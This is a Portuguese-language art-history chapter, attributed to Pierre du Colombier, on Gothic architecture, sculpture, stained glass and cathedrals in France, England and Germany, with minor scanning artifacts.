A Arte Gótica – História da Arte

 Arte gótica, história da arte, arte na europa


Pierre du Columbier – História da Arte

DA arte românica à arte tão universalmente chamada gótica que se tornou de todo inútil procurar uma justificação para este termo, a passagem fez-se quase insensivelmente; os graus intermédios entre uma e outra são a tal ponto numerosos que se experimentou geralmente a necessidade de distinguir um estilo de transição. E, nos nossos dias, alguns historiadores da arte propuseram o regresso ao vocabulário dos teóricos da arte clássica, que, em vez de «românico» e de «gótico», falavam dum gótico antigo e dum gótico recente.

E todavia a morosidade da gestação não faz nada ao caso. Quem observar um monumento gótico bem caracterizado, uma das catedrais da região parisiense, por exemplo, acha-o diferente na sua essência dum monumento românico, mais diferente talvez do que o é este edifício românico dum edifício carolíngio, ou até, no fundo, dum edifício antigo.

Na história da arte, o gótico apresenta-se como um fenómeno singularíssimo, profundamente revolucionário e cuja duração foi relativamente medíocre, porquanto, tendo principiado na França, onde é particularmente precoce, em meados do século xii, finda praticamente no começo do século xv. Neste intervalo, evoluiu na sua essência segundo princípios bastante lógicos e abstractos para que se possa traçar uma espécie de curva desta evolução, para que Viollet-le-Duc tenha podido compor uma catedral gótica, cujo único defeito está em nunca ter existido, mas que haveria sido mais completa, mais perfeita do que os monumentos construídos, quando, sem dúvida, nós não poderíamos de forma alguma imaginar desse modo nem o templo antigo ideal, nem a igreja românica ideal.

Não queremos aqui falar, bem entendido, senão de arquitectura, e demais, nesse tempo, o primado desta arte não poderia ser verdadeiramente contestado.

Cruzamento de Ogivas

O problema gótico foi, segundo parece, con- sideràvelmente obscurecido pelas explicações ao ao mesmo tempo materialistas e racionalistas particularmente em voga desde Viollet-le-Duc entre os arqueólogos franceses. Elas consistem em suma em considerar na arquitectura, sobretudo a construção e em erigir em característica dominante do gótico o cruzamento de ogivas (fig. 14). Entendemos por isso os dois arcos diagonais que se cortam na chave das abóbadas góticas e lhes marcam as arestas. Este cruzamento de ogivas constituiria, com os arcos transversais relativamente à nave (arcos mestres) com os arcos longitudinais que correm ao longo da parede (arcos de forma ou formalotes), uma estrutura, um esqueleto aparente, a que se atribuíram todas as espécies de virtudes, como uma função de apoio relativamente às abóbadas parciais, tornadas independentes, uma elasticidade análoga à das estruturas metálicas.

Na verdade, as mais recentes pesquizas demonstram que se deve dar um certo desconto a tais pretensões: o cruzamento de ogivas está longe de ter uma influência tão preponderante como se julgou na estabilidade do edifício. Muito menos ainda, possui qualidade para definir um estilo. Em diversas regiões mais ou menos longínquas, mas cujos monumentos puderam perfeitamente conhecer-se a distância, encontram-se nervuras cruzadas que sus-

tentam paredes secundárias ou abóbadas parciais, como na Arménia e na Geórgia, ou dispostas sob pequenas cúpulas, como na Espanha muçulmana. Quanto ao cruzamento de ogivas propriamente dito, aplicado às abóbadas de aresta, aparece desde o século XI, provavelmente em vários lugares ao mesmo tempo, como por uma espécie de lógica, que leva os homens a marcar desse modo as arestas, por simples necessidade estética ou talvez na esperança de as reforçar. Se os exemplos citados em Itália parecem duvidosos, já não sucede o mesmo com os que se apontaram na Grã-Bretanha, em particular em Durham (cerca de 1104), e no Sudoeste da França, onde o precedente das cúpulas árabes com nervuras pode muito bem ter influído. No entanto, estas questões de anterioridade não têm talvez grande interesse, visto que, como já se sublinhou, o cruzamento de ogivas só desempenha, na definição da arte gótica, um papel secundário.

Foi de facto apenas o cruzamento de ogivas que permitiu, consoante o sustentaram tanto tempo, erguer sobre as catedrais essas grandes abóbadas cuja audácia jamais se ultrapassou ? Perante a fraca secção das nervuras da maior parte delas, há certamente que responder que não. Este progresso técnico deveu-se sobretudo à melhor neutralização das pressões da abóbada, que tendiam a provocar o desabamento dos apoios. O emprego de arcos botantes, relativamente tardio e mal acolhido em muitas regiões, constituiu um auxílio considerável para a construção das abobadas de grandes proporções.

Estilo Gótico

Mas, despojado o cruzamento de ogivas da sua supremacia, quais são pois os caracteres que distinguem um dos estilos mais poderosamente originais que o mundo jamais viu ?

O que nele impressiona antes de tudo é um sistema de proporções quase oposto aos das arquitecturas mais antigas (e também mais novas), pelo exagero da dimensão vertical. Isto não é, sem dúvida, absolutamente inédito, pois já se encontrava tal exagero em certas escolas românicas como a normanda, mas aqui ele evidencia-se e generaliza-se cada vez mais.

Outra novidade ligada aliás à primeira: a utilização extremamente audaciosa das ilusões de óptica para acentuar o arroubo vertical: o arco quebrado, com a sua quebra aguda na chave da abóbada, encontra-se por toda a parte; os elementos horizontais, como os capitéis, reduzem-se ou até por vezes desaparecem; os pilares decompõe-se em colunelos verticais de fragilidade aparente que se prolongam sobre a parede, se ramificam, formando as nervuras das abóbadas, e, no conjunto assim obtido, o cruzamento de ogivas toma todo o seu significado, de maneira tal que constitui a aparência, mas sem dúvida a aparência somente, dum esqueleto em que se não sabe onde começa a função de apoio e onde ela termina.

Os progressos da construção permitiram aliviar as paredes, pois os esforços verticais são absorvidos pelos pilares e os esforços oblíquos neutralizados pelos arcos botantes. Desde então, ousa-se aproveitar plenamente possibilidades que tinham surgido quando foram adoptadas as abóbadas de aresta, que, em fim de contas, são grandes penetrações fictícias num berço longitudinal. Rasgam-sc pois nas paredes imensas janelas altas, que descem cada vez mais e que, primeiro limitadas à galeria do trifório, a qual encima os arcos da nave, passam por trás das colunas desta galeria, quando a não suprimem por completo. Cometer-se-ia, no entanto, um erro imaginando que este progresso se efectuou apenas em proveito da iluminação do edifício. Tal noção de iluminação, como nós a entendemos hoje, era talvez até destituída de sentido numa época em que as pessoas não tinham nada que ler na igreja. Mais precisamente, procurou-se substituir a parede de pedra por uma parede de luz colorida, menos sólida, fantástica, admirável por si própria, mas bastante prejudicial por vezes à arquitectura, cujas linhas torna confusas. Quanto aos serviços práticos assim prestados, eles parecem bastante problemáticos.

Arquitectura singularíssima, que inegavelmente sofreu de gigantismo: «doida catedral», escrevia Verlaine. Destes edifícios extraordinários, quase nenhum chegou até nós acabado, tanto as empresas ultrapassavam as forças humanas: Laon possui apenas uma pequena parte das suas torres; em Chartres faltam várias; Paris e Reims são desprovidas de flechas, Estrasburgo tem somente uma, Colónia, começada pelas duas extremidades, não viu estas unirem-se, senão no século xix. O coro de Beauvais domina a cidade como monstro mutilado.

Demais, quando se fala da arquitectura gótica, pensa-se sobretudo nessas prodigiosas catedrais, perante as quais a nossa admiração atinge o assombro. E, se certos pequenos monumentos, como as Santas Capelas, lavradas como relicários de que parecem uma ampliação, merecem ser apontadas como modelos, raras vezes acontece que as igrejas modestas satisfaçam tanto como as igrejas românicas pela sua justeza.

Se a planta não oferece, relativamente à época anterior, grandes novidades, o interior das catedrais góticas, tanto pela elevação como pela concepção espacial, é de majestade soberana. A imensidade da nave de Chartres, onde, muitas vezes, se amontoam trevas, o nítido desenho dos seus pilares e das suas nervuras, o justo emprego, no trifório, duma horizontalidade que não corta de forma alguma a ascensão dos olhares, ou ainda a variedade das perspectivas das capelas radiantes no coro de Le Mans, constituem perfeições absolutamente características da arte gótica — espécie de cânticos plenos e certos. Quanto à elevação exterior e em particular à das àbsides, é verdade que o emaranhado de arcos botantes ede pináculos cria uma arquitectura de sonho que, a despeito da utilidade destes órgãos, dá ao espectador a impressão de uma espécie de desafio às leis da gravidade e às qualidades da pedra, estrutura irreal que é preciso ter contemplado já duma das pontes de leste de Paris ou nos dias de iluminação da Catedral de Nossa Senhora, em seus reflexos nas águas do Sena. Diga-se ainda que, mesmo no período gótico, este teorema fantástico nem sempre foi do gosto de todos, porque em numerosos países preferiu-se renunciar aos arcos botantes ou, pelo menos, dissimulá-los, embora utilizando os seus serviços.

A arte gótica não foi tão constantemente feliz na disposição das suas fachadas como na das suas naves. Convém combater energicamente o prejuízo segundo o qual a sua beleza estaria logicamente ligada ao facto de elas acusarem a estrutura interna do edifício. Sem falar sequer das fachadas tardias como a de Estrasburgo ou das fachadas inglesas, que são muito frequentemente justapostas ao todo sem nenhuma ligação com o que se encontra por trás delas, não deveria esquecer-se jamais que, em Nossa Senhora de Paris, catedral-mãe da Ilha de França, se dissimulam cinco naves sob uma divisão tripartida da fachada. Em que se traduzem as alturas recíprocas da nave central e das naves laterais, quando nos encontramos perante o monumento? Pela sua disposição, a fachada utiliza alguns elementos a bem dizer constantes: na base, os vãos mais ou menos cavados e por consequência mais ou menos coloridos dos portais; por cima, uma janela central ou, mais frequentemente — trata-se aqui duma das mais belas criações góticas — uma rosácea; por cima ainda, depois de alguma galeria, as torres, que, só ao libertar-se da fachada, tomam plena individualidade. Em Nossa Senhora de Paris, as divisões horizontais, espécie de andares que não correspondem interiormente a quase nada, são sublinhadas com certa rigidez, que dá a esta fachada uma reputação de «classicismo» e que não deixa de revestir alguma frieza. Em Reims, a ascensão é muito mais pronunciada, porque as horizontais são cortadas por uma espécie de frontões agudos e descobertos que se erguem acima dos portais. O emprego duma renda de pedra desligada da parede levará aos exageros de Estrasburgo, onde se julgaria que existe uma grade a certa distância à frente da parede.

Decoração Plástica

Pela sua decoração plástica, os edifícios góticos acusam uma oposição mais caracterizada do que nunca aos edificios românicos.

Na sua forma elementar, esta decoração plástica deve ter-se originado na molduragem, que, primeiro bastante gorda, se adelgaça cada vez mais, à medida que a perfeição do trabalho se acentua. Este adelgaçamento resulta em particular de secções em que duas curvas côncavas cingem um ressalto agudo. Até numa igreja bastante antiga, como Santo Urbano de Troyes, os perfis parecem metálicos e franzinos, em vez de conservarem o carácter gordo e robusto da pedra.

Num grau superior, fica-se surpreendido com o desaparecimento quase total do ornato geométrico, que era tão brilhante e tão variado anteriormente. Em contrapartida, o mundo vegetal continua a ser tão explorado como até então, mas a estilização das flores e das folhagens cessa quase por completo: umas e outras são empregadas estritamente «ao natural». Eis um fenómeno que encontra poucas analogias na história dos estilos até ao que se produziu em 1900 sob o nome de «modern style» ou «arte nova». Mais vezes do que seria para desejar, estas folhagens apresentam um desenho mesquinho e seco e o denteado que se desprende da superfície geral tem aspecto bastante monótono. Quanto à luxuriante fauna românica, aos monstros vindos do Oriente, perderam aqui muito da sua fantasia e tornaram-se aliás bastante raros. Uma certa imaginação refugiou-se em elementos secundários, como as gárgulas, cuja veia satírica é afinal bastante grosseira e de valor decorativo medíocre.

Em contrapartida, nada ultrapassa em beleza, em variedade e sobretudo em humanidade as figuras esculpidas das igrejas góticas. Não parece muito certo, como se tem escrito com demasiada frequência, fazer da sua submissão à arquitectura o seu mérito essencial. O casamento arquitectura-escultura não é talvez, nesta época, dos mais felizes que se possam conceber. Se se considerarem os direitos da arquitectura propriamente dita, chegar-se-á à conclusão de que a escultura se torna muito absorvente. Puseram-na por toda a parte e, francamente, um pouco em demasia. A presença de estátuas muito trabalhadas nas voltas de abóbada que, por sua insuficiente inflexão, não parecem fadadas para as alojar, não se justifica de modo nenhum; foi preciso dar às consolas que sustentam estas figuras inclinações que variam com a curva do arco que forma o portal.

Se se considerar, por outro lado, o baixo-relevo gótico, notar–se-á que ele, tanto pela técnica como pela composição, se liga infinitamente menos à parede do que o baixo-relevo românico. A escultura gótica do baixo-relevo volta de certo modo à concepção romana duma estatuária cortada pelo plano do fundo. Não se tornam a encontrar as deformações saborosas e arbitrárias usadas na época precedente para submeter os seres vivos à forma de moldura que os rodeava. O homem-ornato desapareceu, mas a maleabilidade com que a arte grega tinha adaptado, sem deformação e sem constrangimento aparente, as personagens ao traçado dum frontão, por exemplo, essa não ressuscitou. Se é certo que a escultura românica deve caracterizar-se pela sua aderência à moldura, torna-se lícito perguntar se, a propósito da escultura gótica, se não deveria falar de indiferença pela moldura. Também essa moldura nem sempre é muito atraente e as divisões horizontais e verticais traçadas através dos tímpanos têm alguma coisa de muito rígido, de muito seco.

As obras de estatuária tendem ainda mais a emancipar-se e as próprias personagens das estátuas-colunas começam a travar entre si verdadeiros diálogos: diálogo de Isabel e da Virgem da «Visitação» em Reims, diálogo da Virgem louca e do tentador em Estrasburgo. No entanto, este movimento permanece temperado e uma certa rigidez, um certo desenho «circunscrito» da estátua deram talvez origem à lenda duma estatuária gótica intimamente dependente da arquitectura.

Mas o gosto da natureza e uma observação vivíssima, em que se manifesta a sede apaixonada de descobrir, unem-se a um sentido plástico que leva o escultor a não pormenorizar a forma nem demais nem de menos, a deixar-lhe a sua grandeza e a sua expressão, para fazer do século xiii francês uma das idades de oiro da escultura universal, que não foi talvez ultrapassada senão pela Grécia. Perfeição aliás fugitiva, que é a das oficinas das grandes catedrais — Chartres, Paris, Reims, Amiens e Bourges — mas que, desde o século xiv, começa a perder-se. O movimento tão nobre, ainda tão contido, da Virgem da porta norte de Nossa Senhora de Paris é então substituído por um requebro característico que rompe a harmonia da linha, por uma garridice arquitectónica.

A justeza e distinção são tais, que a gente está por certo no direito, em muitos casos, de pronunciar a palavra «aticismo». Isto não implica nenhuma imitação. Evidentemente as influências antigas nada têm de impossível: registaram-se dois ou três casos a bem dizer irrecusáveis, como o da «Visitação» de Reims, mas são demasiado raros para que se possa ver em tais concordâncias outra coisa mais do que um encontro fortuito. Plasticamente, falta aos homens do século xiii essa soberana fonte de inspiração da escultura antiga: o nu. Eles olharam-no não sem curiosidade, como se vê, por exemplo, no «Juízo Final» de Bourges, mas timidamente e como às escondidas. Não causará pois surpresa que as roupagens tomem para eles expressão diferente da que tinha para os antigos: dir-se-ia que estes partem do corpo para o vestuário, enquanto os escultores do gótico partem do vestuário para o corpo. O esquematismo gráfico da época românica é posto de banda, mas a disposição das dobras mostra-se larga e pesada, salvo justamente em certos grupos em que se adivinha a influência do antigo e em que reaparecem os finos e moles tecidos que aderem à forma.

Um dos encantos desta escultura francesa do século xiii é a espontaneidade, o amor por tudo o que se move, a frescura aldeã que acha ensejo de se manifestar no tema usual dos Trabalho dos Meses, mas que conserva sempre a dignidade e a elegância.

Esta arte permanece sem dúvida estreitamente submetida a um desenho arquitectónico e os programas que lhe são impostos filiam-se numa teologia muito firme, muito alta e por vezes muito subtil. De há uns cinquenta anos para cá, as suas peças constituiti-vas foram desmontadas meticulosamente: aproximações engenhosas entre a lei antiga e a nova, símbolos por vezes muito rebuscados pequenas cenas em extremo ingénuas que representam a vida di Cristo e mais ainda a da Virgem e a dos santos e seus milagres Explicaram-se figurações enigmáticas, apontaram-se fontes literá rias. Mostrou-se também igualmente como o programa iconográ fico se desenvolve de maneira relativamente uniforme nas diversas partes do edifício sagrado.

Exagerou-se sem dúvida um pouco, tanto no que respeita aos fiéis como no que respeita aos artistas, a importância destes facto. res, afinal meramente externos. E provável que os fiéis, na sua grande maioria, pouco ou nada percebessem de muitas subtilezas imaginadas pelos clérigos e que os artistas se limitassem a execu tar assuntos que lhes eram impostos. Há sem dúvida bastante ingenuidade em imaginar, como fazem os nossos entusiastas pela Idade Média, todo um povo de teólogos instruídos e arrebatados por um transporte místico.

Há também certa ingenuidade em admitir que todos estes artistas se esqueciam de si próprios na tarefa comum, a tal ponto que se confundiam num anonimato não apenas de facto, mas também de direito e de intenção. A Senhora Lefrançois-Pillion, que muito se distinguiu, pela sua penetração, como historiadora da escultura medieval, notou com grande justeza que a escultura das catedrais é talvez menos anónima que a de Versalhes; mas, quanto a Versalhes, temos numerosos documentos — encomendas ou contas — ao passo que, relativamente às catedrais, tudo nos falta. Não temos senão os nossos olhos, que infelizmente só são capazes de discernir certas personalidades particularmente vincadas. O resto confunde-se para nós numa uniformidade favorecida, deve confessar-se, por uma formação comum muito forte do artesanato. Nada mais distinguimos do que «oficinas», para a diferenciação das quais o afastamento geográfico nos dá facilidades consideráveis. No interior de cada uma destas oficinas, achamo-nos perante uma produção de altíssima categoria, notavelmente constante, mas em que, a despeito dum preconceito muito espalhado, as obras secundárias estão longe de ser raras.

Como uma das singularidades da escultura gótica, notar-se-á que ela não constitui de forma alguma um fenómeno geral. E essencialmente francesa e alemã. A Inglaterra, sendo embora um dos países de eleição da arquitectura gótica, mostra-se muito pobre em escultura. Na Espanha, ela dá a impressão de coisa importada. Na Itália, com a imitação da Antiguidade, toma em breve caminhos diferentes.

Aqueles que sonham encontrar para cada época expressão homogénea em todas as artes sofrem aqui uma grave decepção: não há, no tempo das catedrais, pintura que corresponda em qualidade à arquitectura e à escultura. De facto, estes edifícios, com as suas superfícies murais reduzidas e muito subdivididas pela moldu-ragem, com o fulgor dos vitrais, que matam ou falseiam as cores que lhes não pertençam, não se prestam à grande decoração pictural. No entanto, a pintura de painéis é também escassa e, em fim de contas, é a iluminura que faz as vezes dela. Frequentemente encantadora, plena de frescura, ela prejudica-se no entanto por uma mesquinhez de expressão e por um acanhamento de facturas que surpreendem. Num manuscrito ilustre como o Livro de Salmos de S. Luís, torna-se verdadeiramente impossível reconhecer o espírito de majestade que presidiu à construção das catedrais.

Vitrais

Como se disse muitas vezes, a verdadeira pintura da idade gótica são os vitrais. Mas uma pintura de carácter especial, ao mesmo tempo mais fácil e mais difícil do que a outra. Mais fácil, porque o artista dispõe de pigmentos de riqueza inaudita, de que mal suspeitam os pintores amarrados à espessura terrosa das suas cores: o vidreiro pinta com luz colorida. Mas a gama de que dispõe é pouco abundante, as formas dos pedaços de vidro que emprega são de certo modo determinadas de antemão e permitem menos maleabilidade do que os pequenos cubos de mosaico; por isso, o artista vê-se forçado a encerrá-los numa espessa rede que lhe impõe um desenho bastante arbitrário. Sofre por vezes as desvantagens daqueles que usam de técnicas demasiado ricas. Também, que lhe pedem afinal ? Que dê aos humildes um ensinamento, asseguram os arqueólogos. Estarão eles bem certos do que afirmam ? O século XIII, em particular, multiplicou os vitrais de assuntos secundários. Dever-se-á pensar que os homens de então os liam mais facilmente do que nós o fazemos hoje? Apesar de vários textos — mas são textos de teólogos — acreditámo-lo a custo. Xo domínio das artes menores, se a ourivesaria, que imita

demasiado frequentemente a mesquinhez e as complicações da arquitectura, nem sempre conserva o aspecto robusto da época românica, em compensação tudo o que respeita à escultura se mostra florescente. Raras vezes os marfins foram de maior perfeição de trabalho e de estilo e, embora por causa das suas dimensões, certa mesquinhez de efeitos não seja sempre evitada, maravilha-mo-nos com a alta e sorridente distinção que conseguem atingir.

Os esmaltes não cessam de se fazer em Limoges — que goza duma espécie de monopólio — com uma riqueza e um cuidado que se não desmentem. O virtuosismo técnico vai sempre em aumento, mas não ao ponto de ser rebuscada à custa do estilo. Uma placa das dimensões da vulgarmente chamada de Godofredo Plantage-neta (fim do século xir, Museu de Le Mans) apresenta florinhas delicadas e profusas que são um deslumbramento.

As Grandes Obras

No sentido estrito em que nós a definimos, a arte gótica é um fenómeno francês e que nem se manifesta sequer em toda a França. Difundiu-se mais tarde, atingiu em certos países uma grande aura, mas nunca teve noutras regiões o mesmo desenvolvimento e a mesma plenitude de carácter que alcançou entre nós.

Em nenhuma parte, com efeito, se viu um florescimento de catedrais semelhante ao que se produziu em volta de Paris, numa área que vai a oeste até Le Mans, ao sul até Bruges, a leste até Reims, ao norte até Amiens e Laon. E, na fronte de Nossa Senhora de Paris, como uma coroa mariana, porque quase todas estas catedrais são dedicadas à Virgem, cujo culto se desenvolveu com um vigor que constitui uma das características desta época.

O primeiro grupo destas catedrais nasceu por volta de 1150: São Denis (em verdade, muito transformada mais tarde), Noyon, Laon, Sens, Senlis e, a mais popular, Nossa Senhora de Paris. Algumas de entre elas, sobretudo Noyon e Laon, ligam-se ainda por muitos pontos à arte anterior de tal modo que se deu muitas vezes a este estilo o nome de estilo de transição, que lhe assenta bastante bem, embora se devam fazer expressas reservas sobre o termo propriamente dito. Interiormente, o seu movimento vertical é muitas vezes cortado por tribunas (Laon, Nossa Senhora de Paris,

Noyon); pilares redondos com capitéis avantajados separam a nave central das naves laterais (Nossa Senhora de Paris). Encontram-se aliás algumas singularidades, como o arredondamento das extremidades do transepto (Soissons), que era já popular na época precedente na Alemanha e que se não implantou em França, apesar da sua beleza. Enquanto a maior parte das catedrais adopta a planta, já plenamente elaborada na época românica, da ábside com deambulatório provido de capelas radiantes, Laon distingue-se por uma concepção mais severa, de grande singeleza. Em compensação, esta catedral, cuja influência foi considerável em todos os países germânicos, devia ter impressionado os olhos pelas suas numerosas torres, muitas das quais não se alçaram acima do conjunto do monumento. Infelizmente, a estatuária, ou pelo menos aquela que era contemporânea do grosso dos edifícios, não foi poupada pelo tempo — e, se Paris ocupa neste particular um lugar privilegiado, é pelos seus portais do transepto e pelos seus encantadores baixos–relevos, que datam da segunda parte do século XIII.

A segunda série das catedrais, que se contam entre as mais marcadamente clássicas adentro do gótico, compreende as que surgiram cerca de 1200: Chartres, Reims, Ruão, Amiens, Bourges.

Cada uma delas tem o seu carácter próprio, que lhes dá foros de obras-primas totais. Embora nestas altitudes as comparações rocem pelo sacrilégio, haverá poucas pessoas que, por movimento de simpatia irresistível, não dêem de boa vontade a palma a Chartres. Além da nave, a mais empolgante do Mundo, ela apresenta as duas agulhas da fachada, um conjunto incomparável de vitrais e um verdadeiro museu que mostra o desenvolvimento da escultura gótica, pois, na fachada oeste, o pórtico real, decorado por alturas de 1150, foi incorporado no monumento actual, embora, nas extremidades do transepto, cada uma das quais possui um alpendre bastante profundo e um pórtico, as figuras sejam, na sua quase totalidade, três quartos de século posteriores. Ao passo que, no pórtico real, as estátuas-colunas, de rigidez ainda românica, concentram a sua vida e a sua individualidade nos rostos, vê-se, nas fachadas laterais, os corpos evoluírem duma rigidez ainda esquemática para uma desenvoltura de movimentos e para um processo de observação imediata que todavia não descamba nunca na anedota.

Amiens passa por ser a mais regular das nossas catedrais,

aquela que consegue o justo equilibrio entre a robustez e o excesso de elegância. O seu programa iconográfico é de todos o mais perfeito. A mesma perfeição, um quase nada fria, da sua estatuária. Deve dizer-se que os artistas das suas fachadas laterais são um pouco posteriores aos da fachada ocidental. O belo Deus de Amiens é muitas vezes posto em paralelo com as figuras antigas; outras estátuas com maior poder de emoção merecê-lo-iam talvez mais e exprimiriam por certo, com outra profundeza o ideal da época. Nas fachadas laterais, denunciam-se influências de Reims.

E que, de todas estas oficinas de escultura gótica, a de Reims, que trabalhou em suma de 1245 até ao fim do século, foi a mais individualizada, aquela que mais profundamente imprimiu na arte do tempo a sua maneira particular, aquela cuja irradiação chegou mais longe, na Europa. Isto não quer de maneira alguma dizer que a sua inspiração não seja complexa. Em certas estátuas, apontámos já influências antigas de que se não encontra talvez exemplo tão vincado. Outras são ilustres pela rebusca da expressão dos rostos sorridentes. O sorriso de Reims foi tão celebrado como o do arcaísmo grego. E talvez ele que sobretudo explica a sedução essencial desta oficina e que mais impressionou os contemporâneos, porque vamos encontrá-lo muito longe dali, nos países germânicos. A predilecção revelada é tal que se tornou lícito perguntar, não sem verosimilhança, se a Alemanha, não contente de sofrer a acção de Reims, não teria contribuído para elaborar esta arte, através de algum mestre escultor germânico que houvesse feito parte desta oficina.

Bourges, enfim construída sob a influência indiscutível de Paris, mas mais luminosa, oferece ao visitante a majestade das suas cinco naves sem transepto, às quais correspondem cinco portais, cuja escultura foi infelizmente em grande parte refeita. No entanto, o Juízo Final, executado cerca de 1260, é de qualidade superior e revela uma sensibilidade bastante nova no tratamento do nu.

Um terceiro grupo, enfim, surge em meados do século XIII e o termo de «estilo radiante» aplicou-se por vezes mais especialmente às igrejas de então. Na região já definida, os edifícios são em geral de menores dimensões e constroem-se poucas catedrais (salvo a de Beauvais, que passou por muitas vicissitudes). A obra mais «demonstrativa», se assim se pode dizer, é a Santa Capela de

Paris, que possui o extraordinário privilégio de ter sido construída de alto a baixo no espaço de cinco anos, de 1243 a 1248. Verdadeiro relicário ampliado — destinado a receber a Coroa de Espinhos e um fragmento da verdadeira Cruz — é mais uma obra de ourivesaria que de arquitectura. Dir-se-ia que a função da pedra se reduz aqui a servir de suporte a imensos e magníficos vitrais que ocupam quase toda a superfície da capela alta. Eis porque o seu aspecto não encanta verdadeiramente senão no interior. Serviu de modelo a muitas outras Santas Capelas, das quais a de Saint-Germer é uma das mais atraentes. Menos de vinte anos depois, erguia-se a igreja de Santo Urbano de Troyes, muito admirada por Viollet-le-Duc e que mais parece a obra dum engenheiro que dum arquitecto.

Este estilo do domínio real francês pode de algum modo considerar-se um gótico oficial e, em certo sentido, perfeito, que se espalhou, quer de maneira maciça, quer esporadicamente, em toda a França, com variantes locais, certo é, mas que mostram em geral sinais de decadência. E assim que as belas catedrais normandas, Coutances, Bayeux e sobretudo os dois grandes edifícios de Ruão,

Catedral e Abadia de Saint-Ouen (começada no princípio do século xiv), não possuem nem a mesma riqueza nem a mesma qualidade de escultura. Já não sucede o mesmo com a de Auxerre, cuja reconstrução se começou em 1215 e cujos baixos–relevos, esculpidos no fim do século, mostram finura e distinção raras, que dir-se-iam muitas vezes inspiradas no antigo.

Este estilo do Norte tem também a sua projecção em Tolosa (coro começado em 1272), em Clermont (começado em 1248), em Limoges (começado em 1273), em Narbona (começado em 1272), em Rodez (começado em 1277), até em Bayona, em Saint-Maxi-min-du-Var (começado em 1295).

Nesta expansão da arte gótica não poderia omitir-se o papel desempenhado pelos Cistercienses. Vimos esse papel começar a tomar vulto na época precedente. Mas, quando o das outras ordens religiosas decresce, ele não cessa de aumentar: apelidaram estes monges de «missionários do gótico». A sua força resultava em boa parte de transportarem consigo a sua arquitectura: de aula muitas vezes quadrada, coro desenvolvido, paredes nuas, sem escultura, átrios a precederem a fachada, ausência de torres, edifícios conventuais submetidos a regras estreitas, estes mosteiros cister-cienses são semelhantes uns aos outros, tanto em França, em Pontigny, que, por excepção, não tem aula plana, ou em Noirlac, como em-toda a Europa e até na Síria, onde enxamearam.

Se a vitória dum estilo generalizado ofuscou, na maior parte do território francês, as escolas locais, deixando apenas subsistir leves diferenças que é impossível referir num resumo como este, houve no entanto duas regiões do nosso país que resistiram ao contágio: o oeste e o sul. No oeste, um grande número de igrejas deriva mais ou menos da Catedral de Angers que, por volta de 1150, se cobriu de cruzamentos de ogivas, mais ou menos contemporâneos, por consequência, dos primeiramente adoptados no domínio real, mas muitíssimo diferentes, de alcance maior e que subentendem ogivas mais arqueadas; houve quem pensasse que estas derivavam mais ou menos das cúpulas nervadas tão queridas dos Árabes. Os arquitectos destas regiões mostram grande predilecção por uma só nave. Em Poitiers, a convexidade das abóbadas existe também, mas as naves laterais têm a mesma altura da nave central (o que estava já em germe na arquitectura românica da mesma região) e esta disposição obteve êxito considerável tanto ali como no estrangeiro. Torna-se quase inútil sublinhar que os arcos botan-tes são então suprimidos. Com surpresa se nota a pobreza da escultura em regiões em que havia sido outrora tão brilhante.

Sucede quase o mesmo no sul. A arquitectura que aí se desenvolve sofre hoje de certo desdém, apesar dos soberbos edifícios que produziu, quer de tijolos quer de pedra, os mais belos dos quais são sem dúvida, depois dos Jacobinos de Tolosa, notáveis pelas suas duas naves iguais, a Catedral de Albi, começada em 1 282, e a Catedral de Saint-Bertrand-de-Comminges. Pretendeu-se, com efeito, que elas se parecem com as catedrais do norte, quando o seu espírito é por completo diferente. O emprego do cruzamento de ogivas não determina nelas, de forma alguma, um estilo análogo: vastas naves geralmente sem naves laterais, verticalidade muito menos acentuada, sobretudo no interior, porque, do lado externo, a supressão das naves laterais permite alinhar os contrafortes de alto abaixo, coberturas bastante planas, por um lado porque o telhado não é de grande inclinação, por outro lado porque ele é muitas vezes substituído por um terraço com ameias. Em geral, o aspecto exterior é mais severo, menos pitoresco, menos articulado do que nos edifícios clássicos do domínio real e, se a palavra «gótico» designa não uma época mas o estilo próprio a estes, não se pode empregá-la para as catedrais meridionais. E, no interior da de Albi, nas vastas muralhas com poucas aberturas, desenvolve-se uma abundante deco-ração pintada, executada aliás por artistas que não são franceses.

Inglaterra

Entre os países de eleição do gótico, cabe  um lugar muito especial à Inglaterra, em que ele evoluiu simultaneamente com o gótico francês, mas num sentido que lhe é próprio. As grandes catedrais inglesas, entre as quais importa citar as de Lincoln, de Salisbury (começada em 1220), de Lichfield, de Ely, têm uma beleza especial, embora um tanto fria, por certo menos acolhedora que a das catedrais francesas: devem a sua rigidez sobretudo a abundância de linhas rectas de formas rectangulares. Os Ingleses amam as plantas singelas, as imensas fachadas com divisões horizontais. Desde meados do século xni, as abóbadas complicam-se em extremo com nervuras suplementares, que por sua vez se subdividem e de tal forma que, por fim, delas resulta uma rede decorativa complicadíssima. Deve confessar-se que estes monumentos têm grande necessidade da sua decoração linear abundante mas nada sorridente, pois, em parte alguma na Europa, a escultura foi mais pobre, enquanto, por outro lado, a ausência do rosto humano se faz singularmente sentir aos que amam as nossas catedrais frementes de vida.

Alemanha 

Pelo contrário, a Alemanha compartilha conosco da glória duma escultura magnífica. Quanto à arquitectura gótica, de que foi considerada outrora a criadora, parece ao invés tê-la recebido sem entusiasmo. No Reno, os edifícios conservaram o espírito românico até uma época muito tardia, e Colónia, de princípio, só se dispôs a admitir um gótico muito incompleto, desprovido de arcos botantes. Mas, posteriormente, o sistema completo, o sistema francês triunfa —e a primeira metade do século xiii vê erguer-se uma série de igrejas manifestamente imitadas das nossas: a Catedral de Magdeburgo (começada em 1209), a Colegiada de Linburgo-s.-Lahn (1220), Nossa Senhora de Tréveros, Santa Isabel de Marburgo (1235-1283). Salvante a Colegiada de Marburgo, estes edifícios não são de grandes dimensões. Devem procurar-se os seus modelos no norte e por vezes no leste da França: a Catedral de Laon, em particular, com as suas torres, exerceu na Alemanha uma grande influência.

Mas, quando este país se decide por sua vez, na segunda metade do século XIII, a empreender vastas obras de cantaria, encontra-se numa situação política precária, de modo que, se quase nenhuma catedral em França foi inteiramente acabada, a situação na Alemanha apresenta-se em condições ainda piores. Para terminar a construção da Catedral de Colónia, começada em 1248, imitação da de Amiens, teve de se esperar pelo século XIX. Os trabalhos da nave de Estrasburgo (cerca de 1270) só muito mais tarde foram seguidos dos trabalhos da fachada. Começada em 1275, a Catedral de Ratisbona nada progrediu durante o século xiv.

